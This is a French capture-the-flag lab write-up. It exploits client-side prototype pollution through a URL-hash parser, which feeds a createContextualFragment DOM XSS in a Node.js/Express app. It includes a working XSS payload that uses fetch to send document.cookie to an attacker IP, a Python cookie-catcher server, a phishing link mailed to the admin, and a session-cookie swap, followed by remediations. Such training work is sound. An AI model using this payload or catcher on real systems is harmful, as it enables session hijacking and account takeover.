ZNote Logo
ZNote
Labs Pentesteasy
01-05-2026

Lab Polution : Prototype Pollution & Account Takeover

Exploitation d'une Client-Side Prototype Pollution dans une app Node.js/Express menant à une DOM-based XSS via createContextualFragment, utilisée pour voler les cookies de session d'un administrateur et prendre le contrôle de son compte.

Pentest
NodeJS
Prototype Pollution
DOM XSS
Cookie Hijacking
Account Takeover

Contexte & Objectifs

ChampDétail
PlateformeHackSmarter
LienAccéder au Lab
Cible10.0.24.97
OSUbuntu Linux
ServicesSSH (22), Node.js/Express (3000)
Vuln. cléClient-Side Prototype Pollution + DOM XSS
DifficultéFacile

Scénario : En tant que membre de la Red Team Hack Smarter, vous avez accès à une version de staging d'un service SOC managé avant sa mise en production. Des identifiants à faibles privilèges vous sont fournis. L'objectif : élever vos privilèges pour devenir Administrateur.

pentester : HackSmarter123

[!NOTE] Le nom du lab s'écrit volontairement "Polution" (un seul l). C'est un clin d'œil intentionnel de l'auteur -"Let's just pretend like it is". En sécurité, les typos dans les noms de variables ou de fonctions peuvent parfois trahir du code écrit à la va-vite… et donc potentiellement mal sécurisé.

Kill chain résumée :

Recon (Nmap) → Login avec credentials fournis → Inspection JS
→ Identification Prototype Pollution + DOM XSS
→ Forge du payload → Serveur d'écoute → Envoi mail piégé
→ Vol de session admin → Cookie swap → Flag

1. Reconnaissance -Scan Nmap

sudo nmap --top-ports 100 -sC -sV -Pn 10.0.24.97

Output :

Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-29 19:01 +0200
Nmap scan report for 10.0.24.97
Host is up (0.18s latency).
Not shown: 98 closed tcp ports (reset)

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 6c:86:78:31:11:45:2b:47:1f:48:25:18:c0:46:d3:1c (ECDSA)
|_  256 71:ec:e4:0b:0e:79:1d:04:66:94:b1:92:98:8a:1c:51 (ED25519)
3000/tcp open  http    Node.js Express framework
|_http-title: Hacksmarter | Login

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Analyse :

Deux ports ouverts. SSH sans credentials n'est pas notre vecteur. L'intérêt est sur le port 3000 : une app Node.js Express avec une interface de login. C'est une stack JavaScript côté serveur -ce qui oriente immédiatement notre réflexion vers des vulnérabilités JS comme la Prototype Pollution.

On navigue sur http://10.0.24.97:3000 et on se connecte avec les credentials fournis.

Page de login HackSmarter

Connexion réussie

Dashboard utilisateur pentester

L'interface présente deux fonctionnalités : un journal d'audit et un webmail. On note la présence du webmail -c'est un vecteur potentiel pour atteindre l'administrateur.


2. Énumération Web

feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u http://10.0.24.97:3000

Résultat Feroxbuster

Aucun répertoire caché significatif. L'attaque ne passera pas par un endpoint non documenté -elle passera par le code client. On passe à l'inspection du JavaScript de la page.


3. Analyse du Code Source JavaScript

Via les DevTools du navigateur (F12 → Sources), on extrait le script principal de l'application.

Code source JS dans DevTools

/**
 * GESTION DE L'INTERFACE (TABS)
 */
function showTab(tab) {
  document.getElementById("tab-audit").classList.add("hidden");
  document.getElementById("tab-mail").classList.add("hidden");
  document.getElementById("tab-" + tab).classList.remove("hidden");
  document.getElementById("tab-title").innerText =
    tab === "audit" ? "Audit Log Management" : "Webmail";
}

/**
 * SYNCHRONISATION DE L'ÉTAT (PARSING URL HASH)  ← VULNÉRABLE
 */
function syncState(params, target) {
  params.split("&").forEach((pair) => {
    const index = pair.indexOf("=");
    if (index === -1) return;

    const key = pair.substring(0, index);
    const value = pair.substring(index + 1);
    const path = key.split(".");

    let current = target;

    for (let i = 0; i < path.length; i++) {
      const part = decodeURIComponent(path[i]);
      if (i === path.length - 1) {
        current[part] = decodeURIComponent(value); // ← écriture sans validation
      } else {
        current[part] = current[part] || {};
        current = current[part];
      }
    }
  });
}

/**
 * MOTEUR DE RECHERCHE ET RENDU  ← SINK XSS
 */
function executeSearch() {
  const results = document.getElementById("results");
  let options = { prefix: "Searching: " };

  if (window.location.hash) {
    syncState(window.location.hash.substring(1), options); // ← source des données
  }

  if (options.renderCallback) {
    // ← héritage de prototype exploité ici
    const frag = document
      .createRange()
      .createContextualFragment(options.renderCallback);
    results.innerHTML = "";
    results.appendChild(frag); // ← exécution du HTML injecté
  } else {
    const query = document.getElementById("searchInput").value || "All Logs";
    results.innerText = options.prefix + query;
  }
}

/**
 * ENVOI DE MAIL (API)
 */
async function sendMail() {
  const payload = {
    to: document.getElementById("mailTo").value,
    subject: document.getElementById("mailSub").value,
    body: document.getElementById("mailBody").value,
  };

  const res = await fetch("/api/mail/send", {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify(payload),
  });
  const data = await res.json();
  document.getElementById("mailStatus").innerText =
    data.status === "Sent" ? "Message delivered to admin." : "Error sending.";
}

/**
 * INITIALISATION
 */
window.onload = () => {
  const userCookie = document.cookie
    .split("; ")
    .find((row) => row.startsWith("user="));
  const user = userCookie ? userCookie.split("=")[1] : "Guest";
  document.getElementById("current-user").innerText = user;
  executeSearch();
};

window.onhashchange = executeSearch;

4. Analyse des Vulnérabilités

Ce code contient un chaînage de deux vulnérabilités qui, combinées, permettent une prise de contrôle de compte complète.

4.1 Vulnérabilité 1 -Client-Side Prototype Pollution

Comprendre la chaîne de prototypes JavaScript

En JavaScript, chaque objet hérite de Object.prototype. C'est le mécanisme qui permet à un objet {} d'avoir des méthodes comme .toString() sans les définir lui-même -il les hérite via la chaîne de prototypes.

const obj = {};
console.log(obj.toString); // function -hérité de Object.prototype

Si on écrit sur Object.prototype, tous les objets créés dans la page héritent immédiatement de cette modification :

Object.prototype.renderCallback = "<img src=x onerror=alert(1)>";
const options = {};
console.log(options.renderCallback); // "<img src=x onerror=alert(1)>"
// options n'a pas renderCallback, mais il l'hérite de Object.prototype

Pourquoi syncState est vulnérable

La fonction syncState prend une chaîne de l'URL (le hash #) et l'écrit sur un objet target en suivant un chemin de clés séparées par des points. Le problème : elle n'interdit pas la clé __proto__.

__proto__ est une propriété spéciale de tous les objets JS -c'est le lien direct vers leur prototype. Écrire sur obj.__proto__.maClef est équivalent à écrire sur Object.prototype.maClef.

// Ce que fait syncState avec le hash : __proto__.renderCallback=<img...>
// path = ["__proto__", "renderCallback"]

let current = target; // current = options = {}
current = current["__proto__"]; // current = Object.prototype  ← pollution
current["renderCallback"] = "<img src=x onerror=...>"; // ← écrit sur TOUS les objets

Après cet appel, tout objet vide dans la page aura renderCallback comme propriété héritée.

4.2 Vulnérabilité 2 -DOM-based XSS via createContextualFragment

Dans executeSearch, après l'appel à syncState, le code vérifie :

if (options.renderCallback) { ... }

options est un objet vide {}. Il n'a pas de propriété renderCallback propre -mais il l'hérite maintenant de Object.prototype grâce à la pollution. La condition est vraie.

Le contenu de renderCallback est ensuite passé à createContextualFragment :

const frag = document
  .createRange()
  .createContextualFragment(options.renderCallback);
results.appendChild(frag);

[!WARNING] createContextualFragment est plus dangereux que innerHTML. Il parse et exécute le HTML injecté comme s'il venait du document lui-même -y compris les gestionnaires d'événements (onerror, onload) et les éléments <script> inline. C'est le sink de notre XSS.

4.3 Le chaînage complet

URL Hash malveillant
        │
        ▼
syncState(__proto__.renderCallback = "<img onerror=fetch(...)>")
        │  écrit sur Object.prototype
        ▼
options = {}  →  options.renderCallback hérite de Object.prototype
        │
        ▼
createContextualFragment(options.renderCallback)
        │  parse et exécute le HTML
        ▼
fetch('http://attaquant/?c=' + document.cookie)
        │  envoie les cookies à notre serveur
        ▼
Account Takeover

5. Exploitation

5.1 Construction du Payload

Le payload doit être placé dans le fragment URL (#) de la page. La structure est :

#__proto__.renderCallback=<PAYLOAD_HTML>

Le payload HTML doit exfiltrer les cookies vers notre machine (10.200.51.237) :

<img src="x" onerror="fetch('http://10.200.51.237:8000/?c='+document.cookie)" />

URL complète forgée :

http://10.0.24.97:3000/#__proto__.renderCallback=<img src=x onerror="fetch('http://10.200.51.237:8000/?c='+document.cookie)">

Test préalable sur soi-même : avant d'envoyer le lien à l'admin, on ouvre soi-même l'URL dans le navigateur pour vérifier que le payload fonctionne. Notre propre cookie user=pentester doit apparaître sur notre serveur d'écoute.

On prépare un serveur HTTP minimal qui capture les requêtes entrantes et enregistre les cookies exfiltrés :

from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs
import base64
from datetime import datetime


class CookieHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        parsed_url  = urlparse(self.path)
        query_params = parse_qs(parsed_url.query)

        captured_data = None
        for param_name in ["c", "data", "cookies"]:
            if param_name in query_params:
                captured_data = query_params[param_name][0]
                break

        if captured_data:
            # Tentative de décodage Base64 (si le payload encode les cookies)
            try:
                captured_data = base64.b64decode(captured_data).decode("utf-8")
            except Exception:
                pass  # données brutes si décodage échoue

            timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
            client_ip = self.client_address[0]
            log_entry = f"[{timestamp}] IP: {client_ip} | Data: {captured_data}\n"

            with open("victims.txt", "a", encoding="utf-8") as f:
                f.write(log_entry)
            print(f"[+] Cookie capturé : {log_entry.strip()}")
        else:
            print(f"[-] Requête sans données : {self.path}")

        self.send_response(200)
        self.send_header("Content-type", "text/plain")
        self.end_headers()
        self.wfile.write(b"OK")

    def log_message(self, format, *args):
        pass  # Supprime les logs Apache-style pour garder une sortie propre


if __name__ == "__main__":
    PORT = 8000
    server = HTTPServer(("0.0.0.0", PORT), CookieHandler)
    print(f"[*] Cookie catcher démarré sur le port {PORT}")
    print(f"[*] En attente de requêtes XSS...")
    server.serve_forever()

On lance le serveur :

python3 cookie_catcher.py
# [*] Cookie catcher démarré sur le port 8000
# [*] En attente de requêtes XSS...

5.3 Envoi du Mail Piégé à l'Administrateur

Via l'onglet Webmail de l'application, on envoie un message à l'administrateur contenant notre lien malveillant. L'admin (bot ou humain dans ce lab) va ouvrir le lien dans son navigateur authentifié.

Envoi du mail piégé à l'admin

5.4 Récupération des Cookies

Notre serveur reçoit deux connexions :

cat victims.txt
[2026-05-01 23:25:37] IP: 10.200.51.237 | Data: user=pentester
[2026-05-01 23:27:05] IP: 10.0.24.97   | Data: session=HS_ADMIN_7721_SECURE_AUTH_TOKEN; user=admin

Analyse :

  • La première ligne, c'est nous -le test préalable du payload sur notre propre navigateur.
  • La deuxième ligne vient de 10.0.24.97 (le serveur cible) -c'est le bot administrateur qui a ouvert notre lien. On a son token de session : HS_ADMIN_7721_SECURE_AUTH_TOKEN.

On remplace nos propres cookies par ceux de l'administrateur via les DevTools :

  1. F12 → onglet Application (Chrome) ou Stockage (Firefox)
  2. Section Cookieshttp://10.0.24.97:3000
  3. Modifier la valeur de sessionHS_ADMIN_7721_SECURE_AUTH_TOKEN
  4. Modifier la valeur de useradmin
  5. Rafraîchir la page (F5)

Modification des cookies dans les DevTools

Le serveur valide notre session et nous affiche le dashboard administrateur.

Dashboard Admin obtenu


7. Flag

En naviguant dans l'onglet Incident Response, on trouve le flag de validation du lab.

Flag dans l'onglet Incident Response


8. Conclusion & Remédiation

Chaîne d'attaque complète

1. Nmap            → Node.js/Express sur port 3000
2. Login           → Accès pentester, découverte du webmail
3. Inspection JS   → syncState + createContextualFragment identifiés
4. Prototype Poll. → __proto__.renderCallback pollue Object.prototype
5. DOM XSS         → createContextualFragment exécute le HTML injecté
6. Cookie catcher  → fetch() exfiltre les cookies admin
7. Webmail         → Lien malveillant envoyé à l'admin
8. Cookie swap     → Session admin usurpée
9. Flag            → Onglet Incident Response

Vecteurs vulnérables & Remédiations

VecteurProblèmeRemédiation
syncStateAucune vérification des clés -__proto__ acceptéBloquer les clés dangereuses : if (part === '__proto__' || part === 'constructor') return;
createContextualFragmentSink XSS -exécute le HTML comme du codeRemplacer par innerText ou textContent ; ne jamais insérer du HTML non sanitisé dans le DOM
Cookies sans flag HttpOnlyAccessibles via document.cookieAjouter HttpOnly sur tous les cookies de session -un cookie HttpOnly ne peut pas être lu par JS
Cookies sans flag SecureTransmissibles en HTTPAjouter Secure pour forcer HTTPS
Pas de CSPAucune politique bloquant les requêtes vers des domaines externesImplémenter un Content-Security-Policy restrictif (connect-src 'self')
Webmail sans validation d'URLL'admin peut recevoir n'importe quel lienAvertir l'utilisateur avant d'ouvrir des URLs externes

[!NOTE] La leçon clé de ce lab : la Prototype Pollution seule n'est souvent pas exploitable directement. C'est sa combinaison avec un sink DOM non sécurisé (createContextualFragment, eval, innerHTML) qui crée un vecteur d'attaque réel. Les deux vulnérabilités se potentialisent mutuellement.


Writeup rédigé par ZCook